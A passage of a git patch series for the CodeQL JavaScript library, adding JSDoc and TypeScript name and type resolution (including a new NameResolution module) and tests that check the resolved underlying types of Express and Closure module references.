namespace.substring(0, namespace.indexOf(".")) or name = namespace diff --git a/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll b/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll index 35ba8cfe601..4a461961f8a 100644 --- a/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll +++ b/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll @@ -34,7 +34,7 @@ module AccessPath { not this.accessesGlobal(_) and not this instanceof DataFlow::PropRead and not this instanceof PropertyProjection and - not this instanceof Closure::ClosureNamespaceAccess and + not this.asExpr() instanceof Closure::RequireCallExpr and not this = DataFlow::parameterNode(any(ImmediatelyInvokedFunctionExpr iife).getAParameter()) and not FlowSteps::identityFunctionStep(_, this) } @@ -139,8 +139,8 @@ module AccessPath { result = join(fromReference(prop.getBase(), root), "[number]") ) or - exists(Closure::ClosureNamespaceAccess acc | node = acc | - result = acc.getClosureNamespace() and + exists(Closure::RequireCallExpr req | node = req.flow() | + result = req.getClosureNamespace() and root.isGlobal() ) or From 4cd6f4557294fbe338ac7ef48be2ea7c37f5d16e Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:01:22 +0200 Subject: [PATCH 028/271] JS: Avoid accidental recursion with API graphs --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 4 +++- .../frameworks/data/internal/ApiGraphModelsSpecific.qll | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 3e882251cbf..51d17091df1 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -649,11 +649,13 @@ module API { /** Gets a node corresponding to an import of module `m` without taking into account types from models. */ Node getAModuleImportRaw(string m) { result = Impl::MkModuleImport(m) or - result = Impl::MkModuleImport(m).(Node).getMember("default") + result = Impl::MkModuleImport(m).(Node).getMember("default") or + result = Impl::MkTypeUse(m, "") } /** Gets a node whose type has the given qualified name, not including types from models. */ Node getANodeOfTypeRaw(string moduleName, string exportedName) { + exportedName != "" and result = Impl::MkTypeUse(moduleName, exportedName).(Node).getInstance() or exportedName = "" and diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll index c06490b8436..a95c5a30cb6 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll @@ -138,7 +138,7 @@ API::Node getExtraNodeFromType(string type) { parseRelevantTypeString(type, package, qualifiedName) | qualifiedName = "" and - result = [API::moduleImport(package), API::moduleExport(package)] + result = [API::Internal::getAModuleImportRaw(package), API::moduleExport(package)] or // Access instance of a type based on type annotations result = API::Internal::getANodeOfTypeRaw(package, qualifiedName) From 9566265356e097320bbf093f55db67311f461d42 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:02:09 +0200 Subject: [PATCH 029/271] JS: Add helper for getting local type names --- javascript/ql/lib/semmle/javascript/Variables.qll | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/Variables.qll b/javascript/ql/lib/semmle/javascript/Variables.qll index 1eeb735124b..e8abb6ad981 100644 --- a/javascript/ql/lib/semmle/javascript/Variables.qll +++ b/javascript/ql/lib/semmle/javascript/Variables.qll @@ -27,6 +27,12 @@ class Scope extends @scope { result = this.getAVariable() and result.getName() = name } + + /** Gets the local type name with the given name declared in this scope. */ + LocalTypeName getLocalTypeName(string name) { + result.getScope() = this and + result.getName() = name + } } /** From 4bfb0483a8c3cd0ce3593ffe86c841e7532da3f2 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:06:52 +0200 Subject: [PATCH 030/271] JS: Resolve JSDocLocalTypeAccess to a variable in scope --- javascript/ql/lib/semmle/javascript/JSDoc.qll | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/JSDoc.qll b/javascript/ql/lib/semmle/javascript/JSDoc.qll index 10970a2e8b0..0f95023ce1f 100644 --- a/javascript/ql/lib/semmle/javascript/JSDoc.qll +++ b/javascript/ql/lib/semmle/javascript/JSDoc.qll @@ -33,6 +33,9 @@ class JSDoc extends @jsdoc, Locatable { result.getTitle() = title } + /** Gets the element to which this JSDoc comment is attached */ + Documentable getDocumentedElement() { result.getDocumentation() = this } + override string toString() { result = this.getComment().toString() } } @@ -299,6 +302,41 @@ class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr override predicate isRawFunction() { this.getName() = "Function" } } +private AstNode getAncestorInScope(Documentable doc) { + any(JSDocLocalTypeAccess t).getJSDocComment() = doc.getDocumentation() and // restrict to cases where we need this + result = doc.getParent() + or + exists(AstNode mid | + mid = getAncestorInScope(doc) and + not mid = any(Scope s).getScopeElement() and + result = mid.getParent() + ) +} + +private Scope getScope(Documentable doc) { result.getScopeElement() = getAncestorInScope(doc) } + +pragma[nomagic] +private predicate shouldResolveName(TopLevel top, string name) { + exists(JSDocLocalTypeAccess access | + access.getName() = name and + access.getTopLevel() = top + ) +} + +private LexicalName getOwnLocal(Scope scope, string name, DeclarationSpace space) { + scope = result.getScope() and + name = result.getName() and + space = result.getDeclarationSpace() and + shouldResolveName(scope.getScopeElement().getTopLevel(), name) // restrict size of predicate +} + +private LexicalName resolveLocal(Scope scope, string name, DeclarationSpace space) { + result = getOwnLocal(scope, name, space) + or + result = resolveLocal(scope.getOuterScope(), name, space) and + not exists(getOwnLocal(scope, name, space)) +} + /** * An unqualified identifier in a JSDoc type expression. * @@ -311,6 +349,12 @@ class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr */ class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr { JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() } + + /** Gets a variable, type-name, or namespace that this expression may resolve to. */ + LexicalName getALexicalName() { + result = + resolveLocal(getScope(this.getJSDocComment().getDocumentedElement()), this.getName(), _) + } } /** From 1051136c079a01b3983b12a0f4be2a4869eec442 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:03:20 +0200 Subject: [PATCH 031/271] JS: Add test --- .../library-tests/UnderlyingTypes/calls.ts | 32 ++++++++++++ .../UnderlyingTypes/closure.es.js | 5 ++ .../UnderlyingTypes/closure.lib.js | 3 ++ .../UnderlyingTypes/closure.use.js | 16 ++++++ .../UnderlyingTypes/contextualTypes.ts | 45 +++++++++++++++++ .../UnderlyingTypes/expressBulkExport.ts | 1 + .../UnderlyingTypes/expressBulkExport.use.ts | 7 +++ .../UnderlyingTypes/expressExportAssign.ts | 2 + .../expressExportAssign.use.ts | 4 ++ .../expressExportAssignWrapper.ts | 5 ++ .../expressExportAssignWrapper.use.ts | 4 ++ .../UnderlyingTypes/expressSelectiveExport.ts | 2 + .../expressSelectiveExport.use.ts | 10 ++++ .../UnderlyingTypes/expressWrapperExport.ts | 1 + .../expressWrapperExport.use.ts | 29 +++++++++++ .../library-tests/UnderlyingTypes/globals.ts | 10 ++++ .../library-tests/UnderlyingTypes/jsdoc.js | 14 ++++++ .../UnderlyingTypes/namedImport.ts | 4 ++ .../UnderlyingTypes/namespaceDecls.ts | 27 ++++++++++ .../UnderlyingTypes/namespaceImport.ts | 15 ++++++ .../library-tests/UnderlyingTypes/props.ts | 16 ++++++ .../library-tests/UnderlyingTypes/subtype.ts | 20 ++++++++ .../UnderlyingTypes/test.expected | 50 +++++++++++++++++++ .../library-tests/UnderlyingTypes/test.ql | 15 ++++++ .../library-tests/UnderlyingTypes/test.qlref | 2 + .../UnderlyingTypes/tsconfig.json | 3 ++ 26 files changed, 342 insertions(+) create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/calls.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/globals.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/props.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/test.expected create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/test.ql create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/test.qlref create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/calls.ts b/javascript/ql/test/library-tests/UnderlyingTypes/calls.ts new file mode 100644 index 00000000000..68509e4a1c6 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/calls.ts @@ -0,0 +1,32 @@ +import * as express from 'express'; + +function getRequest(): express.Request { } + +function t1() { + getRequest(); // $ hasUnderlyingType='express'.Request +} + +declare function getRequestAmbient(): express.Request; + +function t2() { + getRequestAmbient(); // $ hasUnderlyingType='express'.Request +} + +class C { + method(): express.Request { } +} + +function t3(c: C) { + c.method(); // $ hasUnderlyingType='express'.Request + new C().method(); // $ hasUnderlyingType='express'.Request +} + +function callback(fn: (req: express.Request) => void) { // $ SPURIOUS: hasUnderlyingType='express'.Request // req seems to be a SourceNode +} + +function t4() { + callback(function ( + req // $ hasUnderlyingType='express'.Request + ) { } + ); +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js b/javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js new file mode 100644 index 00000000000..cb140ec63c9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/closure.es.js @@ -0,0 +1,5 @@ +goog.declareModuleId("closure.es") + +const Bar = goog.require('closure.reexported.Bar'); + +export { Bar } diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js b/javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js new file mode 100644 index 00000000000..ffd67593202 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/closure.lib.js @@ -0,0 +1,3 @@ +goog.module("closure.lib") + +exports.Foo = goog.require('closure.reexported.Foo'); diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js b/javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js new file mode 100644 index 00000000000..22fc397cf3d --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/closure.use.js @@ -0,0 +1,16 @@ +goog.module("closure.use") + +const lib = goog.require("closure.lib"); +const es = goog.require("closure.es"); + +/** + * @param {lib.Foo} x + */ +function t1(x) { // $ hasUnderlyingType=closure.reexported.Foo hasUnderlyingType=closure.lib.Foo +} + +/** + * @param {es.Bar} x + */ +function t2(x) { // $ hasUnderlyingType=closure.reexported.Bar hasUnderlyingType=closure.es.Bar +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts b/javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts new file mode 100644 index 00000000000..cc461c5c7dd --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/contextualTypes.ts @@ -0,0 +1,45 @@ +import * as express from 'express'; + +interface Options { + handle(req: express.Request): void; // $ hasUnderlyingType='express'.Request +} + +declare function doSomething(options: Options); + +function t1() { + doSomething({ + handle(req) { // $ hasUnderlyingType='express'.Request + } + }); +} + +function t2(callback: ((opts: Options) => void) | undefined) { + callback({ + handle(req) { } // $ hasUnderlyingType='express'.Request + }) + callback!({ + handle(req) { } // $ hasUnderlyingType='express'.Request + }) +} + +function t3(): Options { + return { + handle(req) { } // $ hasUnderlyingType='express'.Request + } +} + +function t4(): Options[] { + return [ + { + handle(req) { } // $ hasUnderlyingType='express'.Request + } + ] +} + +async function t5(): Promise { + return { + handle(req) { // $ hasUnderlyingType='express'.Request + + } + } +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts new file mode 100644 index 00000000000..47ef09acc6e --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.ts @@ -0,0 +1 @@ +export * from 'express'; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts new file mode 100644 index 00000000000..bb94da47faf --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressBulkExport.use.ts @@ -0,0 +1,7 @@ +import { Request, Response } from './expressBulkExport'; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} + +function t2(res: Response) { // $ hasUnderlyingType='express'.Response +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts new file mode 100644 index 00000000000..8aa013bcde0 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.ts @@ -0,0 +1,2 @@ +import E = require('express'); +export = E; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts new file mode 100644 index 00000000000..da65575a443 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssign.use.ts @@ -0,0 +1,4 @@ +import { Request } from "./expressExportAssign"; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts new file mode 100644 index 00000000000..23c22e44591 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.ts @@ -0,0 +1,5 @@ +import Express = require('express'); +namespace Wrapper { + export import E = Express; +} +export = Wrapper; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts new file mode 100644 index 00000000000..7bcf4b419e9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressExportAssignWrapper.use.ts @@ -0,0 +1,4 @@ +import { E } from "./expressExportAssignWrapper"; + +function t1(req: E.Request) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts new file mode 100644 index 00000000000..c8aaf3bb995 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.ts @@ -0,0 +1,2 @@ +export { Request } from 'express'; +export { Response as R } from 'express'; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts new file mode 100644 index 00000000000..41ce42e3b1f --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressSelectiveExport.use.ts @@ -0,0 +1,10 @@ +import { Request, Response, R } from './expressSelectiveExport'; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} + +function t2(res: Response) { // none, not exported +} + +function t3(res: R) { // $ hasUnderlyingType='express'.Response +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts new file mode 100644 index 00000000000..6fae12f0684 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts @@ -0,0 +1 @@ +export * as wrapper from 'express'; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts new file mode 100644 index 00000000000..62f7e519ff0 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts @@ -0,0 +1,29 @@ +import { Request, Response, wrapper } from './expressWrapperExport'; +import * as w from './expressWrapperExport'; + +function t1(req: Request) { // none +} + +function t2(res: Response) { // none +} + +function t3(req: wrapper.Request) { // $ hasUnderlyingType='express'.Request +} + +function t4(res: wrapper.Response) { // $ hasUnderlyingType='express'.Response +} + +function t5(req: w.wrapper.Request) { // $ hasUnderlyingType='express'.Request +} + +function t6(res: w.wrapper.Response) { // $ hasUnderlyingType='express'.Response +} + +function t7(req: w.Request) { // none +} + +function t8(res: w.Response) { // none +} + +function t9(e: typeof w.wrapper) { // $ hasUnderlyingType='express' +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/globals.ts b/javascript/ql/test/library-tests/UnderlyingTypes/globals.ts new file mode 100644 index 00000000000..8fc6546c70f --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/globals.ts @@ -0,0 +1,10 @@ +function t1(el: HTMLElement) { } // $ hasUnderlyingType=HTMLElement + +/** + * @param {HTMLInputElement} el + */ +function t2(el) { // $ hasUnderlyingType=HTMLInputElement +} + +function t3(req: Express.Request) { // $ hasUnderlyingType=Express.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js b/javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js new file mode 100644 index 00000000000..662faeb52c9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js @@ -0,0 +1,14 @@ +import * as e from 'express'; +import { Response } from 'express'; + +/** + * @param {e.Request} req + */ +function t1(req) { // $ hasUnderlyingType='express'.Request +} + +/** + * @param {Response} res + */ +function t2(res) { // $ hasUnderlyingType='express'.Response +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts new file mode 100644 index 00000000000..56b1d43d399 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts @@ -0,0 +1,4 @@ +import { Request } from 'express'; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts new file mode 100644 index 00000000000..bd8811dfe7a --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts @@ -0,0 +1,27 @@ +import Express = require('express'); + +namespace A { + export import E = Express; +} +namespace B { + export import Q = A +} +namespace C { + import E = Express; + export const A = E; +} + +function t1(x: A.E.Request) { // $ hasUnderlyingType='express'.Request +} + +function t2(x: B.Q.E.Request) { // $ hasUnderlyingType='express'.Request +} + +function t3(x: typeof Express) { // $ hasUnderlyingType='express' +} + +function t4(x: typeof A.E) { // $ hasUnderlyingType='express' +} + +function t5(x: typeof C.A) { // $ hasUnderlyingType='express' +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts new file mode 100644 index 00000000000..f2f96865f39 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts @@ -0,0 +1,15 @@ +import * as express from 'express'; + +function t1(e: typeof express) { // $ hasUnderlyingType='express' +} + +function t2(req: express.Request) { // $ hasUnderlyingType='express'.Request +} + +function t3(req: Request) { // $ hasUnderlyingType=Request // not in scope, refers to a global +} + +type E = typeof express; + +function t4(e: E) { // $ hasUnderlyingType='express' +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/props.ts b/javascript/ql/test/library-tests/UnderlyingTypes/props.ts new file mode 100644 index 00000000000..1aded75ae95 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/props.ts @@ -0,0 +1,16 @@ +import * as express from 'express'; + +interface Foo { + req: express.Request; + e: typeof express; +} + +function t1(f: Foo) { + f.req; // $ hasUnderlyingType='express'.Request + f.e; // $ hasUnderlyingType='express' + + const { + req, // $ hasUnderlyingType='express'.Request + e // $ hasUnderlyingType='express' + } = f; +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts b/javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts new file mode 100644 index 00000000000..a23b85e3b81 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts @@ -0,0 +1,20 @@ +import * as express from 'express'; + +interface MyRequest extends express.Request { + +} + +function t1(req: MyRequest) { // $ hasUnderlyingType='express'.Request +} + +class MyRequestClass extends express.Request { +} + +function t2(req: MyRequestClass) { // $ hasUnderlyingType='express'.Request +} + +class MyRequestClass2 implements express.Request { +} + +function t3(req: MyRequestClass2) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected new file mode 100644 index 00000000000..8c8d2716a06 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected @@ -0,0 +1,50 @@ +| calls.ts:6:5:6:16 | getRequest() | 'express'.Request | +| calls.ts:12:5:12:23 | getRequestAmbient() | 'express'.Request | +| calls.ts:20:5:20:14 | c.method() | 'express'.Request | +| calls.ts:21:5:21:20 | new C().method() | 'express'.Request | +| calls.ts:24:24:24:26 | req | 'express'.Request | +| calls.ts:29:9:29:11 | req | 'express'.Request | +| closure.use.js:9:13:9:13 | x | closure.lib.Foo | +| closure.use.js:9:13:9:13 | x | closure.reexported.Foo | +| closure.use.js:15:13:15:13 | x | closure.es.Bar | +| closure.use.js:15:13:15:13 | x | closure.reexported.Bar | +| contextualTypes.ts:4:12:4:14 | req | 'express'.Request | +| contextualTypes.ts:11:16:11:18 | req | 'express'.Request | +| contextualTypes.ts:18:16:18:18 | req | 'express'.Request | +| contextualTypes.ts:21:16:21:18 | req | 'express'.Request | +| contextualTypes.ts:27:16:27:18 | req | 'express'.Request | +| contextualTypes.ts:34:20:34:22 | req | 'express'.Request | +| contextualTypes.ts:41:16:41:18 | req | 'express'.Request | +| expressBulkExport.use.ts:3:13:3:15 | req | 'express'.Request | +| expressBulkExport.use.ts:6:13:6:15 | res | 'express'.Response | +| expressExportAssign.use.ts:3:13:3:15 | req | 'express'.Request | +| expressExportAssignWrapper.use.ts:3:13:3:15 | req | 'express'.Request | +| expressSelectiveExport.use.ts:3:13:3:15 | req | 'express'.Request | +| expressSelectiveExport.use.ts:9:13:9:15 | res | 'express'.Response | +| expressWrapperExport.use.ts:10:13:10:15 | req | 'express'.Request | +| expressWrapperExport.use.ts:13:13:13:15 | res | 'express'.Response | +| expressWrapperExport.use.ts:16:13:16:15 | req | 'express'.Request | +| expressWrapperExport.use.ts:19:13:19:15 | res | 'express'.Response | +| expressWrapperExport.use.ts:28:13:28:13 | e | 'express' | +| globals.ts:1:13:1:14 | el | HTMLElement | +| globals.ts:6:13:6:14 | el | HTMLInputElement | +| globals.ts:9:13:9:15 | req | Express.Request | +| jsdoc.js:7:13:7:15 | req | 'express'.Request | +| jsdoc.js:13:13:13:15 | res | 'express'.Response | +| namedImport.ts:3:13:3:15 | req | 'express'.Request | +| namespaceDecls.ts:14:13:14:13 | x | 'express'.Request | +| namespaceDecls.ts:17:13:17:13 | x | 'express'.Request | +| namespaceDecls.ts:20:13:20:13 | x | 'express' | +| namespaceDecls.ts:23:13:23:13 | x | 'express' | +| namespaceDecls.ts:26:13:26:13 | x | 'express' | +| namespaceImport.ts:3:13:3:13 | e | 'express' | +| namespaceImport.ts:6:13:6:15 | req | 'express'.Request | +| namespaceImport.ts:9:13:9:15 | req | Request | +| namespaceImport.ts:14:13:14:13 | e | 'express' | +| props.ts:9:5:9:9 | f.req | 'express'.Request | +| props.ts:10:5:10:7 | f.e | 'express' | +| props.ts:13:9:13:11 | req | 'express'.Request | +| props.ts:14:9:14:9 | e | 'express' | +| subtype.ts:7:13:7:15 | req | 'express'.Request | +| subtype.ts:13:13:13:15 | req | 'express'.Request | +| subtype.ts:19:13:19:15 | req | 'express'.Request | diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.ql b/javascript/ql/test/library-tests/UnderlyingTypes/test.ql new file mode 100644 index 00000000000..d3074111f91 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.ql @@ -0,0 +1,15 @@ +import javascript + +bindingset[x, y] +private string join(string x, string y) { + if x = "" or y = "" then result = x + y else result = x + "." + y +} + +query predicate hasUnderlyingType(DataFlow::SourceNode node, string value) { + node.hasUnderlyingType(value) + or + exists(string mod, string name | + node.hasUnderlyingType(mod, name) and + value = join("'" + mod + "'", name) + ) +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.qlref b/javascript/ql/test/library-tests/UnderlyingTypes/test.qlref new file mode 100644 index 00000000000..ab6773f15f9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.qlref @@ -0,0 +1,2 @@ +query: test.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json b/javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json new file mode 100644 index 00000000000..82194fc7ab0 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json @@ -0,0 +1,3 @@ +{ + "include": ["."] +} From 1533e134a5e92e44d6a0a753b23b6077558c1907 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:03:38 +0200 Subject: [PATCH 032/271] JS: Add NameResolution.qll --- .../javascript/internal/NameResolution.qll | 468 ++++++++++++++++++ 1 file changed, 468 insertions(+) create mode 100644 javascript/ql/lib/semmle/javascript/internal/NameResolution.qll diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll new file mode 100644 index 00000000000..f6f36cc7504 --- /dev/null +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -0,0 +1,468 @@ +/** + * Provides name resolution and propagates type information. + */ + +private import javascript + +/** + * Provides name resolution and propagates type information. + */ +module NameResolution { + private class NodeBase = + @expr or @typeexpr or @lexical_name or @toplevel or @function_decl_stmt or @class_decl_stmt or + @namespace_declaration or @enum_declaration or @interface_declaration or + @type_alias_declaration or @jsdoc_type_expr; + + /** + * A node in a graph which we use to perform name and type resolution. + */ + class Node extends NodeBase { + string toString() { + result = this.(AstNode).toString() + or + result = this.(LexicalName).toString() + or + result = this.(JSDocTypeExpr).toString() + } + + Location getLocation() { + result = this.(AstNode).getLocation() + or + result = this.(LocalVariable).getLocation() + or + result = this.(JSDocTypeExpr).getLocation() + } + } + + private signature predicate nodeSig(Node node); + + /** + * A module top-level, or a `module {}` or `enum {}` statement. + */ + private class ModuleLike extends AstNode { + ModuleLike() { + this instanceof Module + or + this instanceof NamespaceDefinition // `module {}` or `enum {}` statement + } + } + + /** + * Holds if values/namespaces/types in `node1` can flow to values/namespaces/types in `node2`. + */ + private predicate commonStep(Node node1, Node node2) { + // Import paths are part of the graph and has an incoming edge from the imported module, if found. + // This ensures we can also use the PathExpr as a source when working with external (unresolved) modules. + exists(Import imprt | + node1 = imprt.getImportedModule() and + node2 = imprt.getImportedPath() + ) + or + exists(ImportNamespaceSpecifier spec | + node1 = spec.getImportDeclaration().getImportedPath() and + node2 = spec.getLocal() + ) + or + exists(ExportNamespaceSpecifier spec | + node1 = spec.getExportDeclaration().(ReExportDeclaration).getImportedPath() and + node2 = spec + ) + or + exists(ExportAssignDeclaration assign | + node1 = assign.getExpression() and + node2 = assign.getContainer() + ) + or + exists(ImportEqualsDeclaration imprt | + node1 = imprt.getImportedEntity() and + node2 = imprt.getIdentifier() + ) + or + exists(ExternalModuleReference ref | + node1 = ref.getImportedPath() and + node2 = ref + ) + or + exists(ImportTypeExpr imprt | + node1 = imprt.getPathExpr() and // TODO: ImportTypeExpr does not seem to be resolved to a Module + node2 = imprt + ) + or + exists(ClassOrInterface cls | + node1 = cls and + node2 = cls.getIdentifier() + ) + or + exists(NamespaceDefinition def | + node1 = def and + node2 = def.getIdentifier() + ) + or + exists(Function fun | + node1 = fun and + node2 = fun.getIdentifier() + ) + or + exists(EnumMember def | + node1 = def.getInitializer() and + node2 = def.getIdentifier() + ) + or + 